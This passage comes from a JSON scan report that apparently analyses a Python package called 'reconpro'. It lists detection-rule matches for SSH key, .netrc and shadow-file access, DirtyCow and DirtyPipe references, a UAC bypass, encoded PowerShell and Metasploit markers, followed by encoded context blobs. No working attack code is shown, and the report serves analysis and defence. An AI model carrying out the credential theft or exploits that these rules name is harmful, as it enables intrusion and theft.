"desc": "Python Windows UAC policy path", "spans": [ [ 58683, 57 ] ] }, { "id": "micro-behaviors/os/security/defender::defender-product-name-reference", "conf": 0.85, "crit": 3, "desc": "Microsoft Defender product name reference", "spans": [ [ 5721, 17 ] ] }, { "id": "micro-behaviors/os/security/selinux::setenforce-enforcing", "conf": 0.9, "crit": 3, "desc": "Sets SELinux back to enforcing mode", "spans": [ [ 40762, 12 ] ] }, { "id": "micro-behaviors/os/sysinfo/hostname::python-os-uname-nodename", "atk": "T1082", "mbc": "E1082", "conf": 0.95, "crit": 3, "desc": "Reads hostname via os.uname nodename", "spans": [ [ 1038, 19 ] ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::platform-system", "atk": "T1082", "conf": 0.7, "crit": 3, "desc": "Queries the OS with platform.system()", "spans": [ [ 32662, 15 ] ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::python-osname-nt-check", "atk": "T1082", "mbc": "E1082", "conf": 0.8, "crit": 3, "desc": "Windows platform check via os.name == 'nt'", "spans": [ [ 1690, 15 ] ] }, { "id": "micro-behaviors/process/create/shell/command-mode::windows-command-shell-invocation", "atk": "T1059.001,T1059.003", "conf": 0.94, "crit": 3, "desc": "Windows shell command-mode invocation syntax", "spans": [ [ 63898, 19 ] ] }, { "id": "micro-behaviors/process/create/shell/pipeline::pipeline-terminates-in-shell", "atk": "T1027,T1059.004", "mbc": "B0032", "conf": 0.8, "crit": 3, "desc": "Pipeline terminates in a shell", "spans": [ [ 56229, 5 ] ] }, { "id": "micro-behaviors/process/create/shell/runner::python-run-command-call", "conf": 0.85, "crit": 3, "desc": "Calls run_command helper", "spans": [ [ 1577, 11 ] ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--exit-code", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (exit_code)", "spans": [ [ 1278, 9 ] ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--stderr", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (stderr)", "spans": [ [ 1296, 6 ] ] }, { "id": "micro-behaviors/process/create/subprocess::python-subprocess-io-fields--stdout", "atk": "T1059.006", "conf": 0.84, "crit": 3, "desc": "Process output/status field names (stdout)", "spans": [ [ 1289, 6 ] ] }, { "id": "micro-behaviors/process/create/sudo::sudo-noninteractive", "conf": 0.9, "crit": 3, "desc": "Runs sudo without a password prompt", "spans": [ [ 12695, 7 ] ] }, { "id": "micro-behaviors/process/fd/stdio::stderr-string", "conf": 0.3, "crit": 2, "desc": "References the stderr stream name", "spans": [ [ 1239, 0 ] ] }, { "id": "micro-behaviors/process/fd/stdio::stdout-string", "conf": 0.3, "crit": 2, "desc": "References the stdout stream name", "spans": [ [ 1239, 0 ] ] }, { "id": "objectives/anti-analysis/environment-detect/check::analysis-hostname-query-fragment", "atk": "T1497.001", "mbc": "B0001", "conf": 0.9, "crit": 3, "desc": "Hostname query used in environment checks", "spans": [ [ 968, 10 ] ] }, { "id": "objectives/command-and-control/backdoor/keywords::backdoor-operational-payload", "atk": "T1543", "conf": 0.8, "crit": 3, "desc": "Backdoor payload keyword", "spans": [ [ 55076, 16 ] ] }, { "id": "objectives/command-and-control/backdoor/keywords::backdoor-process", "atk": "T1543", "conf": 0.5, "crit": 4, "desc": "Backdoor process keyword", "spans": [ [ 55076, 16 ] ] }, { "id": "objectives/command-and-control/dropper/download::powershell-encoded-command-option", "atk": "T1105", "mbc": "E1105", "conf": 0.9, "crit": 3, "desc": "PowerShell encoded-command option reference", "spans": [ [ 63898, 19 ] ] }, { "id": "objectives/credential-access/api-harvest/token::credential-regex-map-binding", "atk": "T1528", "conf": 0.9, "crit": 3, "desc": "Credential regex map binding", "spans": [ [ 19058, 14 ] ] }, { "id": "objectives/credential-access/files/config::ssh-private-key-path", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "SSH private-key path literal", "spans": [ [ 20942, 12 ], [ 21011, 16 ] ] }, { "id": "objectives/credential-access/ssh/key::python-expanduser-ssh-path", "atk": "T1552.004", "conf": 0.9, "crit": 3, "desc": "Python expands a user's .ssh path", "spans": [ [ 49082, 28 ] ] }, { "id": "objectives/discovery/system/fingerprint/hardware::python-platform-machine", "atk": "T1082", "mbc": "E1082", "conf": 0.75, "crit": 3, "desc": "Identifies the host CPU architecture", "spans": [ [ 32698, 16 ] ] }, { "id": "objectives/discovery/system/fingerprint/hardware::python-platform-system", "atk": "T1082", "mbc": "E1082", "conf": 0.8, "crit": 3, "desc": "Profiles the host operating system", "spans": [ [ 32662, 15 ] ] }, { "id": "objectives/discovery/system/fingerprint/hardware::python-platform-uname", "atk": "T1082", "mbc": "E1082", "conf": 0.8, "crit": 3, "desc": "Collects comprehensive system hardware and", "spans": [ [ 1038, 8 ] ] }, { "id": "objectives/evasion/hosts-file/block-security::hosts-security-block-token", "atk": "T1565.001", "mbc": "F0004", "conf": 0.9, "crit": 3, "desc": "Hosts security block token", "spans": [ [ 52790, 7 ], [ 55054, 7 ] ] }, { "id": "objectives/evasion/masquerade/process/path::path-public-temp-writable", "atk": "T1036.005", "mbc": "F0004", "conf": 0.6, "crit": 3, "desc": "Public or Temp writable-path marker", "spans": [ [ 51980, 6 ] ] }, { "id": "objectives/execution/automation/agent::vulnerability-state-marker-vulnerable", "atk": "T1059,T1190,T1595", "conf": 0.82, "crit": 3, "desc": "Vulnerable or CVE state marker", "spans": [ [ 44081, 13 ], [ 44281, 16 ], [ 44477, 16 ], [ 44674, 14 ], [ 44871, 14 ], [ 45062, 14 ], [ 45241, 13 ], [ 45417, 13 ] ] }, { "id": "objectives/impact/ransom/encrypt/threat-text::inline__data-loss-threat__unless_1_a", "conf": 1.0, "crit": 3, "desc": "Derived condition (password/account/cred)", "spans": [ [ 62888, 69 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::file-inclusion-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Local-file inclusion probe payload", "spans": [ [ 21815, 11 ] ] }, { "id": "objectives/persistence/system/surface/paths::managed-persistence-marker--rx-5", "atk": "T1547", "conf": 0.84, "crit": 3, "desc": "Managed or installed service/cron phrase", "spans": [ [ 407, 17 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::cve-2016-5195", "atk": "T1068", "conf": 0.95, "crit": 4, "desc": "DirtyCow CVE reference", "spans": [ [ 44081, 13 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::cve-2022-0847", "atk": "T1068", "conf": 0.95, "crit": 3, "desc": "DirtyPipe CVE reference", "spans": [ [ 45417, 13 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::dirtycow", "atk": "T1068", "conf": 0.95, "crit": 4, "desc": "DirtyCow exploit reference", "spans": [ [ 44106, 9 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-5", "conf": 0.95, "crit": 3, "desc": "Remediation term", "spans": [ [ 2746, 11 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-cloud-credential-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Cloud credential path marker", "spans": [ [ 21292, 17 ] ] }, { "id": "objectives/supply-chain/recon-exfil/install-hook::urlencode-recon-field-names", "atk": "T1195.002", "conf": 0.9, "crit": 3, "desc": "Host profile field pair", "spans": [ [ 13757, 117 ] ] }, { "id": "well-known/app/network/openssh::package-context", "conf": 0.96, "crit": 2, "desc": "OpenSSH package or server artifact context", "spans": [ [ 49043, 0 ] ] }, { "id": "micro-behaviors/data/parse/vocabulary::password-key-value-pair", "conf": 0.8, "crit": 3, "desc": "password/passwd key with inline value", "spans": [ [ 61985, 18 ], [ 62888, 23 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-password-file-path-pair", "conf": 0.9, "crit": 3, "desc": "References Unix passwd and shadow paths", "spans": [ [ 21745, 81 ] ] }, { "id": "micro-behaviors/fs/path/location::home-hidden-dotdir-ref", "conf": 0.6, "crit": 3, "desc": "Home-relative hidden directory path literal", "spans": [ [ 20940, 7 ], [ 21291, 7 ] ] }, { "id": "micro-behaviors/fs/path/private-key::keys", "atk": "T1552.004", "conf": 0.8, "crit": 1, "desc": "SSH keys directory path literal", "spans": [ [ 20941, 0 ] ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "SSH private-key path literal", "spans": [ [ 20942, 11 ], [ 21011, 15 ] ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-ed25519", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "id_ed25519 filename constant", "spans": [ [ 21015, 12 ] ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-rsa", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "id_rsa filename constant", "spans": [ [ 20946, 8 ] ] }, { "id": "micro-behaviors/fs/path/public-key::ssh-authorized-keys", "atk": "T1552.004", "conf": 0.6, "crit": 2, "desc": "SSH authorized_keys path", "spans": [ [ 21093, 0 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::dotenv-filename-literal", "atk": "T1552.001", "conf": 0.85, "crit": 1, "desc": ".env filename literal", "spans": [ [ 21508, 0 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::netrc", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": ".netrc credentials file", "spans": [ [ 21370, 8 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-config-artifact", "conf": 0.9, "crit": 3, "desc": "SSH config artifact path", "spans": [ [ 21166, 11 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-dir", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": ".ssh directory path", "spans": [ [ 20942, 5 ] ] }, { "id": "micro-behaviors/os/autorun/cron::crontab-keyword", "conf": 0.5, "crit": 3, "desc": "Contains crontab keyword", "spans": [ [ 25434, 7 ] ] }, { "id": "micro-behaviors/os/autorun/scheduled::schtasks-utility-token", "atk": "T1053.005", "mbc": "F0012", "conf": 0.7, "crit": 3, "desc": "Windows schtasks utility reference", "spans": [ [ 24687, 8 ] ] }, { "id": "micro-behaviors/os/env/read::python-os-getenv-call", "conf": 0.92, "crit": 3, "desc": "Python reads an environment variable", "spans": [ [ 1100, 14 ] ] }, { "id": "micro-behaviors/os/env/secret-name::keyword-cred", "conf": 0.7, "crit": 3, "desc": "CRED environment access pattern", "spans": [ [ 21582, 40 ] ] }, { "id": "micro-behaviors/os/network/status::netstat", "conf": 0.9, "crit": 3, "desc": "netstat command", "spans": [ [ 2313, 9 ], [ 2649, 9 ], [ 2910, 9 ] ] }, { "id": "micro-behaviors/os/network/status::ss", "conf": 0.9, "crit": 3, "desc": "ss socket statistics", "spans": [ [ 2887, 5 ] ] }, { "id": "micro-behaviors/os/service/config::sshd-config-path", "conf": 0.7, "crit": 3, "desc": "SSH daemon configuration file", "spans": [ [ 14071, 20 ] ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::os-uname-call", "atk": "T1082", "mbc": "E1082", "conf": 0.8, "crit": 3, "desc": "Queries system info with os.uname()", "spans": [ [ 1038, 9 ] ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::platform-os-release", "atk": "T1082", "conf": 0.85, "crit": 3, "desc": "Queries the operating system release", "spans": [ [ 32734, 16 ] ] }, { "id": "micro-behaviors/os/sysinfo/platform/runtime::python-platform-machine", "atk": "T1082", "conf": 0.7, "crit": 3, "desc": "Queries CPU architecture with platform.machine()", "spans": [ [ 32698, 16 ] ] }, { "id": "micro-behaviors/os/sysinfo/platform/string::os-string-linux", "conf": 0.6, "crit": 2, "desc": "Linux platform string", "spans": [ [ 43451, 0 ] ] }, { "id": "micro-behaviors/os/sysinfo/platform/string::os-string-windows", "conf": 0.4, "crit": 2, "desc": "Windows platform string", "spans": [ [ 5953, 0 ] ] }, { "id": "micro-behaviors/process/create/shell/lang::powershell-keyword", "conf": 0.7, "crit": 3, "desc": "Invokes PowerShell with command-line options", "spans": [ [ 63897, 14 ] ] }, { "id": "objectives/anti-analysis/debugger-detect/check::ptrace-traceme", "atk": "T1622", "mbc": "B0001.m01", "conf": 0.7, "crit": 4, "desc": "PTRACE_TRACEME constant", "spans": [ [ 45009, 37 ] ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-path-segment", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like path segment", "spans": [ [ 21291, 18 ] ] }, { "id": "objectives/command-and-control/dropper/delivery/http::multi-persist-dirs", "atk": "T1105", "mbc": "B0024", "conf": 0.9, "crit": 3, "desc": "Multiple persistence directories", "spans": [ [ 51809, 14 ] ] }, { "id": "objectives/credential-access/files/config::login-secret-file-paths--rx-6", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "Authorized-keys or shadow-file path literal", "spans": [ [ 13322, 11 ], [ 21088, 20 ] ] }, { "id": "objectives/credential-access/ssh/key::slash-dot-ssh", "atk": "T1552.004", "conf": 0.5, "crit": 2, "desc": "SSH config or known_hosts path reference", "spans": [ [ 21165, 0 ] ] }, { "id": "objectives/evasion/masquerade/identity/move::startup-or-appdata-path-reference", "atk": "T1036.005", "mbc": "F0004", "conf": 0.85, "crit": 3, "desc": "Startup or AppData path reference", "spans": [ [ 28044, 56 ] ] }, { "id": "objectives/privilege-escalation/elevation-control/uac-bypass/hijack::eventvwr-exe", "atk": "T1548.002", "conf": 0.7, "crit": 4, "desc": "eventvwr.exe invocation (UAC bypass binary)", "spans": [ [ 34882, 12 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::dirtypipe", "atk": "T1068", "conf": 0.95, "crit": 3, "desc": "DirtyPipe exploit reference", "spans": [ [ 45442, 10 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-shadow-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Account database path marker", "spans": [ [ 13321, 12 ] ] }, { "id": "well-known/tool/offensive/metasploit::console-marker", "conf": 0.99, "crit": 3, "desc": "Metasploit command-line launcher marker", "spans": [ [ 55336, 10 ] ] }, { "id": "metadata/file/catalog/service::ai-vault-service-names", "conf": 0.82, "crit": 1, "desc": "AI and vault service names", "uses": [ 13 ], "spans": [ [ 20632, 0 ] ] }, { "id": "metadata/file/catalog/service::cloud-saas-service-names", "conf": 0.6, "crit": 1, "desc": "Cloud SaaS service names", "uses": [ 9 ], "spans": [ [ 19306, 0 ] ] }, { "id": "metadata/file/catalog/service::finance-service-names", "conf": 0.82, "crit": 1, "desc": "Finance and payment service names", "uses": [ 11 ], "spans": [ [ 19373, 0 ] ] }, { "id": "metadata/file/catalog/service::messaging-mail-service-names", "conf": 0.82, "crit": 1, "desc": "Messaging and mail service names", "uses": [ 10, 12 ], "spans": [ [ 19692, 0 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::package-or-netrc-credential-file", "atk": "T1552.001", "conf": 0.9, "crit": 3, "desc": "Package or netrc credential file reference", "uses": [ 112 ], "spans": [ [ 21370, 8 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-tooling-or-transcript-context", "atk": "T1552.001", "conf": 0.9, "crit": 1, "desc": "SSH tooling or documentation transcript", "uses": [ 24, 25, 26, 27 ], "spans": [ [ 14076, 0 ] ] }, { "id": "micro-behaviors/os/env/secret-name::python-sensitive-env-read", "conf": 0.9, "crit": 3, "desc": "Python reads credential-named environment variable", "uses": [ 60, 118 ], "spans": [ [ 21579, 14 ], [ 21582, 40 ] ] }, { "id": "objectives/discovery/system/fingerprint/hardware::python-sysinfo-multi", "atk": "T1082", "mbc": "E1082", "conf": 0.9, "crit": 3, "desc": "Collects multiple system information items", "uses": [ 87, 88, 89, 122 ], "spans": [ [ 1038, 9 ], [ 32662, 15 ], [ 32698, 16 ] ] }, { "id": "well-known/app/network/openssh::openssh-package", "conf": 0.98, "crit": 3, "desc": "OpenSSH package context", "uses": [ 102 ], "spans": [ [ 49043, 8 ] ] }, { "id": "micro-behaviors/fs/path/private-key::ssh-private-key-filename-enum", "atk": "T1552.001", "conf": 0.85, "crit": 2, "desc": "Enumerates SSH private key filenames", "uses": [ 108, 109 ], "spans": [ [ 21015, 0 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-engine-keywords", "conf": 0.86, "crit": 1, "desc": "Container engine name literal present", "uses": [ 57 ], "spans": [ [ 16948, 0 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::dirtypipe-detected", "atk": "T1068", "mbc": "E1068", "conf": 0.95, "crit": 4, "desc": "References DirtyPipe CVE-2022-0847", "uses": [ 97, 135 ], "spans": [ [ 45417, 13 ], [ 45442, 10 ] ] }, { "id": "micro-behaviors/fs/proc/container::runtime-keywords", "conf": 1.0, "crit": 1, "desc": "Container runtime name literal present", "uses": [ 148 ], "spans": [ [ 16948, 0 ] ] }, { "id": "micro-behaviors/os/container/namespace::runtime", "conf": 0.9, "crit": 3, "desc": "Container runtime library usage", "uses": [ 150 ], "spans": [ [ 16948, 6 ] ] } ], "type": "python" }, { "id": 130, "mol": "K(Li)O₈(AsCaCoILaPrSXe₂)H₄(Cm₆Db₆F₆Os₃)Md", "sha": "9bb47ed9beead4da60ff0da1ef0a5b38e2fe268ad50949e7f83d35b04f6917ca", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/iac_audit.py", "risk": 24, "size": 110687, "type": "python", "depth": 1 }, { "ctx": [ { "b": "a%Fj9z!a0bwJy@9pdwbEq=DT{lSv5-mpeLQpG7jn\u0026^^mol${pFByw#dnP5cXvrlKhBZ]JoA+cv-xM4%lazbLjaw#=Xz/ex(zY\u003ci-e\u002624ke^.}MA+eW3wPF#5ay/tbAbo9cwGUI$xk8D@y-)w7z/Z1yz!pb2aAR4jxjVfjB0bgmw].s3BAhIlBAIRnayYQS3lQDCe*9.ZavG{+", "ln": 0, "col": 1, "line": 1 }, { "b": "v}W0aBywV{B1wCzwPz(nv}Yp+zGvuKA+frhz/fScaAg+hBy/GgB1N!xatUR)lUgpWx\u003ez6?vru66rb#z+B8UMdwO#16awDM/x(mMa\u0026^^mowQ5rqvpKy4B9g@5z/5]%zGvuKz/PFkwmY\u003c\u003ex(4\u0026kw].*bavx9Jy\u0026r%ce^-Zzg+G[rl@2y5y\u0026sDbaw^8%C4\u003eF#AV^+YBy!%7x(v(i\u0026^^mox\u003eg^)BzkujaztXmBzkS9efEqFpid%ev@c7awft@8A=#ebwPGE", "ln": 287, "col": 46, "line": 5 }, { "b": "aAI4hA+cwnz//A7az2!pz/YG2azC.9A::3hA=\u003e(lB-I4C3jo^OwPF$\u0026pe1!kBzbkdp\u003cEd@z/cXsByYi4vLe=#zY\u0026RoBy/GgvqE5%wPhi#wmYT*x\u003equr3l*Vr3tar%z6ig)w{5irA+eP+azCXiz/P}xvqY$3Byxo9z/fR63tBu@z/P}xxKL%}y?Wt=x(d*cA=-BsB8L}6x(d*cA=-BAwErc*AbP=saAIEhyH}O{x(d*cA=-BBB8hg$ze:AlBrCWtzdK5*ze:AlBrCZDy\u00260/{e[G6zz/Mh0ze:AlBrCZDy\u00260/{e]UltB7CX\u003cA=k!qBA}?tzF78aze:AlBrA\u003e!C}p7ax\u003e8loawuG\u003cBsXLgAcb/jzEEujax8\u0026[efE]mAbo7)3tar%z6gC-xMOunuU\u003cd@wPw]cze:AlBrCmsBz$PaA=kz#efEz@zE^E0xdLfowObv[y\u0026\u003c32x(dNawPwa+3l{XMM5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2PjboPxur6-\u0026pq:\u003cQ(boV0hKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2P", "ln": 749, "col": 32, "line": 11 }, { "b": "b0*6ODt^Wzs7L?-q!o#)x\u003e7Z}a$K6zarR^HarR^JxK$Q.wPzc%vruQ5A=b}xiV}SlarR^HarR^HarR^HA+c\u003ekz/6Dcy?k2nb6UXFzf^^OwPq\u003c7B960FwfJMEA+c\u003c{dj+/GarR^HarR^HarR!EwIdFhze:i9wHINyCR9uvDm-SseOO-tefF$Ae\u003eEGy3lQDlarR^HarR^HaAz3Cv@Dj6x(4ueAW2-WvqQsdePLAxB.bSox\u003eezsaAz3CnHVg$arR^", "ln": 1650, "col": 17, "line": 36 }, { "b": "e\u003eEGy3lQDlarR^HaycJ9arR^HarR^Hb5816A:-\u0026#wPG4Rax]f}arR^HarR^HarR^Pa#p\u00269e?![ia$K\u0026XgCgyqh.D\u003cyh7*Twh6KF23lQDlarR^HarR^HasFA*gCgEse?![ia$K\u0026Xf/7Bug+HKvh7*Twh6KF23lQDlarR^HarR^HasFA?gCgBpe?![ia$K\u0026XgbyKrgCgBuh7*Twh6KF23lQDlarR^HarR^HasFA\u0026g+HHyga\u003emkfD@4\u003ca#q5dgbQ{wgbQ{wgbQ{kdj+/GarR^HarR^HarR^Pa#q8ef/yZrfFk46efDb)h7*QygCgBuh7*Twh6KF23lQDlarR^HarR^HasFA\u003cgCgyxga\u003emkfD@4\u003ca#z8dgbQ{wgbQ{wgbQ{kdj+/GarR^HarR^HarR^Pa#zbef/.0wfFk46efDb[g+HKvh7*Twh7*Twh6KF23lQDlarR^HarR^HasFA\u003chzcZuh.D^pfD@4\u003ca#zhgf/7:vgbQ{wgbQ{kdj+/GarR^HarR^HarR^Pa#I5bf/yTre?!F2ar\u0026V%e?]vsgbQ{wgbQ{kdj+/GarR^HarR^HarR^Pa#IbdfFk4ifD@4\u003ca#IbdgbQ{wgbQ{wgbQ{kdj+/GarR^HarR^HarR^Pa#IhffFk4ifD@4\u003ca#IhfgbQ{wgbQ]", "ln": 2363, "col": 55, "line": 52 }, { "b": "a$k5IarR^HarR^Ht}us9arR!Ped9HxarR\u003epDuBmtb03\u0026[3lQDlarR^Har\u003eYizdK[Lar\u003cJ]v@=Hez!s8ll3^V]wG\u0026VjarR^HarR^Hb4$K@wmY^*Aa9\u003cgwPzWfb03\u0026J3lQDlarR^HarR^HaAz3Cv@Dj6x(4ueAW2-Wzf4pHwPq\u003c7B960FwfJMEA+c\u003c{dj+/GarR^HarR^HarR!EwIdFhze:i9wHINyCR9uIB-I4BA+e\u0026befF$Ae\u003eEGy3i", "ln": 3026, "col": 43, "line": 68 }, { "b": "i4^iCe\u00262pwe\u00262pwa$k5IarR^HarR^Ht}us9arR!Ped9HxarR\u003evv@JRMaBsCrarR^HarR^JzEEx[b03?\u003cm@JrUy?j.Ry\u0026sDbaw=(.By]Diz6yIrarR^HarR^Hb4$K@wmY^*Aa9\u003cgwPzWfb03\u0026J3lQDlarR^HarR^HaAz3Cv@Dj6x(4ueAW2-Wxk.Z3ePLAxB.bSoeOO-tefF$Ae\u003eEGy3lQDlarR^HarR^HaAz3Cv@Dj6x(4ueAW2-Wxlwffz^^f/", "ln": 4199, "col": 31, "line": 99 }, { "b": "gbQ{kdj+/GarR^HarR!jed9HxarV7-3lQDlar\u003eugxk8D@y\u0026r/{vqWnIaBsCrarR^HarR^JzEEx[b03?\u003cl${pFByw#Yv}x7^a$K6zarR^HarR^JxK$Q.wPzc%vruQ5A=b}xiV}SlarR^HarR^HarR^HA+c\u003ekz/6Dcy?k2nb6UXIz.kQxx\u003eezsaAz3CnHVg$arR^HarR^HarR^HA+c\u003ekz/6Dcy?k2nb6UXXA=@STaAz3CnHVg$arR^HarR^Ht}us9", "ln": 5295, "col": 42, "line": 128 }, { "b": "h7*Twh6KF23lQDlarR^HaycJ9arR^HEjLZFarR^Jv@c7awm/T^A+cBQaBsCrarR^HarR^JzEEx[b03?\u003clU{W-wm/T^A+cBC3lQDlarR^Har\u003eGgvpS}\u0026uVoB}By/GgB0rT/tm8F}arR^HarR^HarUYoe[n*pAa%c1c#{Irv}Erkvr\u003c4FaAz3CnHVg$arR^HarR^HarR^HA+c\u003ekz/6Dcy?k2nb3[+\u003eeN@j0xK@=pByxolB0rdTA+c\u003c{dj+/GarQ", "ln": 6365, "col": 40, "line": 157 }, { "b": "f/gQqf!+smhz^3ua$K\u0026Xf/gQqf!+smf!$WugbQ{kdj+/GarR^HarR^HarR^Pa#7#he?]jye?![ia$K\u0026Xf/y^tf/p{ygbQ{wgbQ{kdj+/GarR^HarR^HarR^Pa#82ie\u0026CKsfFk46efDb\u003eh.)0Af!Ljsh7*Twh6KF23lQDlarR^HarR^HasFA*h-06wg=l)xi4=)eefDb\u003eh-06wg=l)zgCgBuh6KF23lQDlarR^HarR^HasFA*i5\u0026JBf/gHyhzcWcefDb\u003ei5\u0026JBf/gHqgb**vh8MNbed9HxarR^HarR^HarS6Rf/Z{uiwSoyg+ZKoa$K\u0026Xf/Z{uiwSoyh8N0wh8MNbed9HxarR^HarR^HarS6Rf/.fBgby:tgbHWqfA", "ln": 7217, "col": 15, "line": 182 }, { "b": "arR^HasFA*ixeSFf!Lgoi4=)eefDb\u003eixeSFf!Ljsh7*Twh6KF23lQDlarR^HaycJ9arR^HEjLZFarR^Jz/Pn@y?j!KaBsCrarR^HarR^JzEEx[b03?\u003cpJx(Ny?j.Ry\u0026sDba$K6zarR^HarR^JxK$Q.wPzc%vruQ5A=b}xiV}SlarR^HarR^HarR^HA+c\u003ekz/6Dcy?k2nb6UXTA:-D]wG\u0026VFA+c\u003c{dj+/GarR^HarR!jed9HxarR^HarQ", "ln": 7548, "col": 8, "line": 189 }, { "b": "h.D\u003cyh7*Twh6KF23lQDlarR^HaycJ9arR^HEjLZFarR^Jy?W^9wmV@CaBsCrarR^HarR^JzEEx[b03?\u003cl2f[Cvqc\u0026joLFx.wmWhled9HxarR^HarR\u003ewwNPaXA:J=]BAz8mzGv0.ax@b53lQDlarR^Har\u003eokwo?K3vruQ5A=b}xiV}SlarR^HarR^HarR^HA+c\u003ekz/6Dcy?k2nb5y$hz!9A6efF$Ae\u003eEGy3lQDlarR^HaycJ9arR^HarQ", "ln": 8207, "col": 34, "line": 209 }, { "b": "arR^JBzM29yge]9xLzvaB0rT/tu@=!arR^HEjLZFarR^Jw)]+5y\u003cvi=aBsCrarR^HarR^JzEEx[b03?\u003cmQZvWy\u003cviQ3lQDlarR^Har\u003eGgvpS}\u0026B0rT/DKp(rarR^HarR^HarR\u003eMeOnBjBzMjOA+flkwPI@Bx\u003eezGawM\u0026)wH[fharR^HarR^HarR^JCR9JoB98kzeP=2wv}vlawfK5Sph+2Yed9HxarR^HarR^HarR\u003eMePUGzC4ChovTd", "ln": 10802, "col": 6, "line": 288 }, { "b": "A+MZGaAz3CnHVg$arR^HarR^Ht}us9arR^HarR^JBzM29yge]9xLzvaB0rT/tu@=!arR^HEjLZFarR^Jx(mA?Ac3erviN-PDKp(rarR^HarR\u003eCvqPN1iV]Rrze:6bC3#HwnP53DAc3ervjrxK3lQDlarR^Har\u003eGgvpS}\u0026B0rT/DKp(rarR^HarR^HarR\u003eMeOO{pw]w\u003eOawM\u0026)wH[fharR^HarR^HarR^JCR9Aozx.a:A+c\u003ekz/6Dcy?k2na]", "ln": 12543, "col": 47, "line": 346 }, { "b": "avf)\u003cu0ONoaBsCrarR^KaMwSo\u0026/[%os7L?-B7GxnwPz\u0026m\u0026/[#MLZ\u003c8-arR^JzF9W3CP]f\u003eDKp(rarR^HarR\u003ervru6[z/QaEiV]R\u003cwNY1/wPz%9AW04warR^HarR^Hb4$K@wmY^*Aa9\u003cgwPzWfb03\u0026JA+c\u003ekz/6Dcy?k2nb3]e1x(neGku?x6e)P}Jec", "ln": 13791, "col": 35, "line": 397 }, { "b": "yIvu!Aa9\u003cgwPzWfb03\u0026JA+c\u003ekz/6Dcy?k2nb0/d7q:\u003cR-nL-8Ml)sf8A+c\u003c{dp1FiarR^HEjLZFarR^Jv{@[UC{ko(DKp(rarR^HarR\u003ervru6[z/QaEiV]R\u003cwNY1/wPz%9AW04warR^HarR^Hb4$K@wmY^*Aa9\u003cgwPzWfb03\u0026Jt}us9arR^HarR^JvSb!5uVoB}By/GgB0rT/tu@=!arR^HarR^Hb4CLfyIvu!Aa9\u003cgwPzWfb03\u0026Jt(", "ln": 14593, "col": 13, "line": 421 }, { "b": "ze:i9wHINyv@(W5ePtcsvqNRDvrDW9wO#Q7v}*4guVZj4wO@XyaAz3CnHVg$arR^HarR^HarR^HA+c\u003ekz/6Dcy?k2nb6m%FvSc6%zFKqqefF$Ae\u003eEGy3lQDlarR^HarQ", "ln": 16505, "col": 18, "line": 477 }, { "b": 